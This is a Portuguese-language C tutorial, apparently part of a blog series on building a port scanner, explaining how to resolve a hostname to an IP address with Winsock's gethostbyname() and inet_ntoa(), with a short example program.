Bem, como vimos no tutorial passado, montamos um programa que vê se a porta 80 do IP da UOL está aberto. Hoje agente verá uma função que permitirá que digitemos o endereço e ele converterá para IP. A função gethostbyname(). Isso irá aumentar a funcionalidade do nosso scanner da matéria passada. Então proponho fazermos um pequeno programa que dirá o IP de um endereço qualquer. Após entendermos este exemplo, será fácil implementar isso no scanner.

gethostbyname()

Está função nos permite digitar um endereço e ele retornará o endereço IP. Ela está descrita da seguinte forma na biblioteca Winsock.h:

DECLARE_STDCALL_P(struct hostent *) gethostbyname(const char*);

Logo, para usarmos esta função, temos que entender da estrutura hostent (que é onde ela está inserida). Então vamos analizar a estrutura hostent de acordo com a biblioteca winsock.h.
struct hostent {
char *h_name;
char **h_aliases;
short h_addrtype;
short h_length;
char **h_addr_list;
#define h_addr h_addr_list[0]
};
Vamos lá então:
- h_name – Nome do domínio do host
- h_aliases – Lista de nomes alternativos que o site pode ter
- h_addrtype – O tipo de endereço que está retirando na conexão. Vimos que pode ser AF_INET, – AF_UNIX, AF_ISSO e AF_NS.
- h_lenght – Tamanho, em bytes, do endereço
- h_addr_list – Um array que termina em zero do endereço de rede do host.

Bem, vamos então montar um pequeno exemplo que agente digite o endereço do site e ele nos retorna o IP.
#include <stdio.h>
#include <winsock.h>
int main(int argc, char *argv[])
{

WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);

struct hostent *ip; //definimos a variável IP como sendo da estrutua hostent

if(argc < 2) {
printf(“Usage: %s <hostname>\n”,argv[0]);
printf(“Made by Mago__\n”);
exit(1);
}

if ((ip=gethostbyname(argv[1])) == NULL) { //aqui testamos se o host existe
perror(“gethostbyname”);
}

printf(“Hostname: %s \n”,ip->h_name); // Mostra o hostname
printf(“IP Address: %s \n”,inet_ntoa(*((struct in_addr *)ip->h_addr))); //Mostra o IP

WSACleanup();
}
Aqui estra uma coisa muito importante que deve ser explicada. Note que para mostrar o host nós tivemos que fazer o ip apontar para o h_name (que nos mostra o host) e para mostrar o ip tivemos que apontar para h_addr (que nos mostra o IP). Porém tivemos que usar a função inet_ntoa(), porque? Lembre-se que o endereço virá em números de redes, ilegíveis para nós. Então usamos a função inet_ntoa() que faz a conversão de Network-to-ASCII, ou seja, faz a conversão de números de Rede para ASCII (que é legível). Esta função está descrita da seguinte forma no Winsock.h:

DECLARE_STDCALL_P(char *) inet_ntoa(struct in_addr);

Logo, para usarmos o inet_ntoa() devemos tem um struct in_addr dentro.
Bem pessoal, com o que aprendemos hoje, podemos fazer um portscanner completo. Porém para incrementar mais, próxima matéria ensinarei sobre a função getservbyport(). Abraços a todos e até a próxima matéria.